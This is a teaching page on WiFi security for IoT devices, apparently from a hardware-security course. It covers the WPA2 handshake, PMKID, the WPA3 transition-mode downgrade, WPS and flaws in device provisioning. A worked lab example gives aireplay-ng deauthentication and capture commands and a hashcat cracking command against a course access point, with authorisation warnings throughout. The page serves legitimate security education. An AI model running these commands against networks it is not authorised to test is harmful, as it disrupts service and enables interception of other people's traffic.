WiFi

• WiFi
  • Why this matters
  • Why IoT devices are on 2.4 GHz
  • The radio layer
  • Frames, and the ones that are not protected
  • The four-way handshake
    • PMKID: the handshake you do not have to wait for
    • Worked example: capturing and cracking a WPA2 handshake
  • WPA3, and why transition mode undoes it
    • The catch
    • Worked example: telling WPA3-only from transition mode
  • WPS, still
  • The part that is actually broken: provisioning and storage
  • Key takeaways
  • References

Why this matters

WiFi is the odd one out among the radios in this course. Zigbee, Z-Wave, BLE and LoRa were all designed for constrained devices from the beginning. WiFi was designed for laptops, and then got pushed downward into devices with 520 KB of RAM and no operating system worth the name.

That mismatch is the story of WiFi security in IoT. A $2 ESP32 speaks the same WPA2 as your laptop, and speaks it competently — the link layer is usually fine. What is not fine is everything around it: how the device learned the credentials, where it stored them, and whether it bothers to check who it is talking to once the link is up.

⚠️ Only test networks you own or are authorised to test. Deauthentication frames disrupt service for everyone on the channel, not just your target, and capturing a handshake from a neighbour’s network is interception. Everything on this page is performed in lab, against the course access point, on the course hardware. See Attacks for the scope and authorisation discussion.

Why IoT devices are on 2.4 GHz

Almost every WiFi IoT device you meet is 2.4 GHz only, and it is worth knowing why before you go looking for one on 5 GHz and conclude it is offline.

2.4 GHz propagates through walls better, the radios are cheaper and simpler, and the power amplifier requirements are lower — all of which matter for a sensor running off a coin cell or a $4 bill of materials. The cost is a crowded band, three non-overlapping channels in practice (1, 6, 11), and coexistence with everything else on this page: BLE, Zigbee and Thread all share it.

That table has a practical consequence for assessment: a network running in WPA3-transition mode is frequently doing so because of the devices on this page. The IoT device cannot do SAE, so the whole network keeps WPA2 enabled, and the transition mode is where the weakness lives.

The radio layer

Everything above the antenna is easier to reason about once you know what the signal physically looks like — and WiFi’s PHY is the reason some attacks are easy and others need hardware you probably do not have.

Modulation. 802.11b used DSSS; everything since uses OFDM — the 20 MHz channel is divided into 52 or more subcarriers, each independently modulated (BPSK through 1024-QAM depending on signal quality) and carrying a fraction of the stream. Rate adaptation happens per-frame, which is why the MB column in airodump-ng fluctuates.

Channels. In 2.4 GHz the 14 channels are spaced 5 MHz apart but each occupies roughly 20 MHz, so they overlap heavily. Only 1, 6 and 11 are mutually non-overlapping, which is why every survey finds everything piled onto those three. A 40 MHz-wide channel in 2.4 GHz consumes most of the band and is generally antisocial.

Why you need a specific adapter. Capturing WiFi is not like capturing the sub-GHz protocols later on this page’s sibling references. You cannot use an SDR realistically — a single 20 MHz channel needs at least 20 MS/s of complex samples and a full OFDM receiver implementation. Instead you use a normal WiFi chipset in monitor mode, where the driver hands you every frame it decodes rather than only those addressed to you.

Injection — transmitting arbitrary frames, which aireplay-ng needs — is a separate capability, and most consumer adapters do not support it. The chipsets that do are a short list (Atheros AR9271, MediaTek MT7612U/MT7921AU, Realtek RTL8812AU with the right driver), which is why the course specifies an adapter rather than letting you use the laptop’s built-in card.

$ iw list | grep -A 8 "Supported interface modes"
Supported interface modes:
         * IBSS
         * managed
         * AP
         * monitor            <-- required
         * mesh point

Coexistence. 2.4 GHz WiFi shares the band with BLE, Zigbee, Thread, and microwave ovens. WiFi channel 1 sits on top of Zigbee channels 11–14; channel 6 covers Zigbee 15–19. That overlap is a genuine reliability problem in real deployments, and occasionally an accidental denial of service: a busy WiFi network can flatten a Zigbee mesh sharing the same spectrum. It is also why combo chips (ESP32, nRF5340) time-slice their radios.

Frames, and the ones that are not protected

802.11 traffic comes in three types, and the security properties differ sharply:

• Data frames — encrypted once the link is up. This is the part that works.
• Control frames (ACK, RTS/CTS) — never encrypted, tiny, uninteresting.
• Management frames (beacon, probe, authentication, association, deauthentication) — historically not protected at all.

That last category is the one that matters. A deauthentication frame is a management frame that says “this station is leaving”; because it was unauthenticated, anyone could forge one and knock any client off any network. That is the mechanism behind every “WiFi jammer” that is not actually a jammer.

802.11w Protected Management Frames (PMF) fixes this by authenticating management frames. It is optional under WPA2, and mandatory under WPA3 — which is one of the more consequential things WPA3 changed, and a good reason to care about it beyond the handshake.

Forcing a deauth is not just vandalism in an assessment: it is how you make a client reconnect while you are watching, which is how you capture a handshake. PMF closes that path.

The four-way handshake

When a client joins a WPA2-PSK network, both sides already know the PMK — it is derived from the passphrase and the SSID, and it is the same for every client on the network:

PMK = PBKDF2-HMAC-SHA1(passphrase, SSID, 4096 iterations, 256 bits)

The handshake’s job is to prove both sides know that PMK without transmitting it, and to derive a fresh per-session PTK from it:

The PTK is derived from the PMK, both nonces, and both MAC addresses. Every input except the PMK travels in the clear.

That is the whole vulnerability. An attacker who captures messages 1 and 2 has every input to the derivation except the passphrase, plus a MIC to check a guess against. So they guess offline, at whatever rate their GPU allows, with no further contact with the network. WPA2’s resistance to this is entirely a function of passphrase entropy — the protocol contributes nothing beyond the 4096 PBKDF2 iterations, which is not many.

⚠️ You only need messages 1 and 2. A capture that shows “4 of 4 handshakes” in airodump-ng is not required. Conversely, a capture that shows a handshake but no beacon for the network is missing the SSID, which is a PBKDF2 input — grab the beacon too.

PMKID: the handshake you do not have to wait for

A later shortcut removed even the need for a client. When an AP supports roaming caches, it may include a PMKID in the first message of the handshake — and the PMKID is:

PMKID = HMAC-SHA1(PMK, "PMK Name" || AP_MAC || STA_MAC)

Same PMK, same offline guessing problem, but obtainable by simply associating with the AP yourself. No client, no deauth, no waiting. Many consumer APs volunteer it in a single frame.

This is the attack that matters for IoT networks specifically, because IoT networks often have no human clients to deauth — just a handful of sensors that associated three months ago and will not reconnect on their own.

Worked example: capturing and cracking a WPA2 handshake

Put the adapter in monitor mode, survey, then focus on one channel.

$ sudo airmon-ng start wlan1
PHY  Interface  Driver     Chipset
phy1 wlan1      mt76x2u    MediaTek MT7612U
        (mac80211 monitor mode vif enabled for [phy1]wlan1 on [phy1]wlan1mon)

$ sudo airodump-ng wlan1mon
 BSSID              PWR  Beacons  #Data  CH  MB   ENC  CIPHER AUTH ESSID
 DE:AD:BE:EF:00:01  -38      142     37   6  130  WPA2 CCMP   PSK  AL-2100-Net

Lock to the channel and write a capture file. Without -c you hop channels and will miss most of the handshake.

$ sudo airodump-ng -c 6 --bssid DE:AD:BE:EF:00:01 -w lab wlan1mon
 BSSID              STATION            PWR   Rate    Lost  Frames  Notes
 DE:AD:BE:EF:00:01  A4:CF:12:34:56:78  -44    1e- 1      0      93

That station is the AL-2100. In a second terminal, force it to reconnect:

$ sudo aireplay-ng -0 3 -a DE:AD:BE:EF:00:01 -c A4:CF:12:34:56:78 wlan1mon
Sending 64 directed DeAuth (code 7). STMAC: [A4:CF:12:34:56:78] [ 3|63 ACKs]

⚠️ -0 3 is not three frames. The count is the number of rounds, and each round sends 64 deauthentication frames to the client and another 64 to the AP — so this command puts roughly 384 frames on the air, and the single status line above is one round’s output overwriting itself with a carriage return. One round (-0 1) is almost always enough to catch a handshake. Know what you are actually transmitting before you transmit it: this is a denial of service against a real station for as long as it runs.

The airodump-ng header then shows the capture:

 CH  6 ][ Elapsed: 1 min ][ WPA handshake: DE:AD:BE:EF:00:01

Convert and attack it offline. Modern hashcat uses mode 22000, which covers both handshake and PMKID captures:

$ hcxpcapngtool -o lab.hc22000 lab-01.cap
...
EAPOL pairs written to 22000 hash file...: 2
$ hashcat -m 22000 lab.hc22000 /usr/share/wordlists/rockyou.txt

⚠️ -m 2500 is obsolete. Older tutorials use mode 2500 with .hccapx files; hashcat removed that path. If a guide tells you to run cap2hccapx, it predates the change — use hcxpcapngtool and mode 22000.

Note what the last step demonstrates: the attack is a passphrase-guessing attack, not a protocol break. A 20-character random passphrase defeats it entirely. That is the honest framing to put in a report.

WPA3, and why transition mode undoes it

WPA3-Personal replaces the PSK handshake with SAE (Simultaneous Authentication of Equals, the “Dragonfly” handshake). The property that matters:

SAE is a password-authenticated key exchange. An eavesdropper who captures a complete SAE exchange cannot mount an offline dictionary attack against it — each guess requires a fresh interaction with the network, which is detectable and rate-limited. Everything on the previous section stops working.

WPA3 also brings forward secrecy (compromising the passphrase later does not decrypt old captures) and mandatory PMF.

The catch

WPA3-transition mode advertises both, and an attacker gets to pick. A network in transition mode accepts both SAE and PSK clients so that older devices still work. An attacker stands up a rogue AP with the same SSID offering WPA2 only; a client that supports transition mode downgrades, and the whole WPA2 attack chain is back. The AP itself may also leak a PMKID over its WPA2 AKM.

This is not a theoretical concern for this course — it is the normal configuration of a home network with IoT devices on it, because the IoT devices are the reason transition mode is enabled.

The other Dragonblood findings (timing and cache side channels in the SAE hash-to-curve implementation, CVE-2019-9494 and CVE-2019-9496) were patched in hostapd/wpa_supplicant 2.9 in 2019. They still matter in IoT because embedded vendors fork wpa_supplicant and ship the fork for a decade — check the version, do not assume the patch.

Worked example: telling WPA3-only from transition mode

The beacon’s RSN Information Element lists which AKM suites the AP accepts. Read it rather than trusting the network’s name or the vendor’s claim:

$ tshark -r survey.pcapng -Y 'wlan.fc.type_subtype == 8' \
    -T fields -e wlan.ssid -e wlan.rsn.akms.type -e wlan.rsn.capabilities.mfpr \
  | sort -u
AL-2100-Net      2,8    0
CorpSecure       8      1
LegacyShop       2      0

The AKM suite numbers are the whole answer:

So AL-2100-Net lists both 2 and 8 with MFP-required off: transition mode, downgradeable. CorpSecure lists 8 alone with MFPR set: genuine WPA3-only. LegacyShop is plain WPA2.

iw dev wlan1 scan shows the same data in a more readable form if you have no capture — look for Authentication suites: in the RSN block.

WPS, still

Wi-Fi Protected Setup validates its 8-digit PIN in two halves and tells the client which half was wrong, reducing the search from 10⁸ to about 11 000 attempts. The Pixie Dust variant is worse: where a chipset generates the E-S1/E-S2 nonces with a weak or constant PRNG, the PIN is recoverable offline from a single exchange, in seconds.

Every one of these is a decade old and WPS is still enabled by default on plenty of shipping hardware — especially devices whose “easy setup” flow depends on it. Check for it; do not assume it has been dealt with.

The part that is actually broken: provisioning and storage

The link layer is rarely where a WiFi IoT device fails. These are:

SoftAP onboarding. The device boots as an open access point named something like SmartPlug-A4CF12 and serves a setup page. During that window it is an unauthenticated network that accepts the WiFi credentials of the house. Ask: is the setup AP open? Does it time out? Does it come back after a factory reset triggerable from outside?

Broadcast provisioning (SmartConfig / ESP-TOUCH / AirKiss). The phone encodes the credentials into the lengths of broadcast packets, which every device in range receives — the encoding is public and the “key” is often the SSID. Convenient, and exactly as bad as it sounds.

Credentials in flash. Whatever route they arrived by, they end up in the device’s flash, frequently in plaintext NVS or a config partition. This is the direct bridge from this page back to Dumping flash — a recovered SPI image yields the PSK for the network the device sits on.

No server certificate validation. Having joined the network, the device phones home over TLS and accepts any certificate, or pins one that expired in 2021 and has a fallback to plaintext. See Attacks.

⚠️ The interesting finding is usually not the WiFi. Students spend a week trying to crack a WPA2 passphrase and miss that the device’s setup AP accepts a firmware upload with no authentication. Enumerate the whole onboarding flow before reaching for a wordlist.

Key takeaways

• WiFi in IoT is a laptop protocol running on a microcontroller; the link layer is usually competent and everything surrounding it usually is not.
• WiFi’s OFDM PHY is too wide to capture with an SDR in practice; you need a chipset with monitor mode, and injection narrows the list much further.
• Management frames were historically unprotected, which is why deauth works. 802.11w PMF fixes it and WPA3 makes it mandatory.
• The four-way handshake leaks every derivation input except the passphrase, so WPA2-PSK security is exactly passphrase entropy and nothing else.
• You need only messages 1 and 2 — and with PMKID, no client at all, which matters on IoT networks that have no humans to deauth.
• Use hashcat mode 22000 via hcxpcapngtool; mode 2500 and .hccapx are gone.
• WPA3’s SAE genuinely removes the offline dictionary attack — and transition mode, which IoT devices are the reason for, hands it straight back.
• Read the RSN AKM suites to classify a network: 2 and 8 together means downgradeable.
• The real findings are in onboarding and storage: open setup APs, broadcast provisioning, and plaintext credentials in flash.

References

• IEEE 802.11-2020, Wireless LAN MAC and PHY Specifications — https://standards.ieee.org/ieee/802.11/7028/
• Wi-Fi Alliance, WPA3 Specification — https://www.wi-fi.org/discover-wi-fi/security
• Vanhoef & Ronen, Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd (IEEE S&P 2020) — https://wpa3.mathyvanhoef.com/
• Vanhoef & Piessens, Key Reinstallation Attacks (KRACK, CCS 2017) — https://www.krackattacks.com/
• hashcat, WPA mode 22000 announcement — https://hashcat.net/forum/thread-10253.html
• hcxdumptool and hcxtools — https://github.com/ZerBea/hcxdumptool
• aircrack-ng documentation — https://www.aircrack-ng.org/documentation.html
• hostapd / wpa_supplicant — https://w1.fi/hostapd/
• Espressif, Wi-Fi provisioning (ESP-IDF) — https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/provisioning/provisioning.html
• OWASP IoT Security Testing Guide — https://owasp.org/www-project-iot-security-testing-guide/

Related course pages: Radio Protocols · Bluetooth · Dumping flash · Attacks · Tools of the Trade · Schedule

🛠️ Maintenance note: the tooling ages faster than the protocol here. hcxdumptool’s command-line flags have changed substantially between major versions and the distro packages lag the repository badly — check hcxdumptool --help against the installed build before each offering rather than trusting any transcript, including this one. WPA3 deployment numbers and the practical prevalence of transition mode are worth re-checking annually; WiFi 7 hardware is now common enough that the “IoT is 2.4 GHz only” framing should be revisited as 802.11ah (HaLow) and 6 GHz IoT parts ship.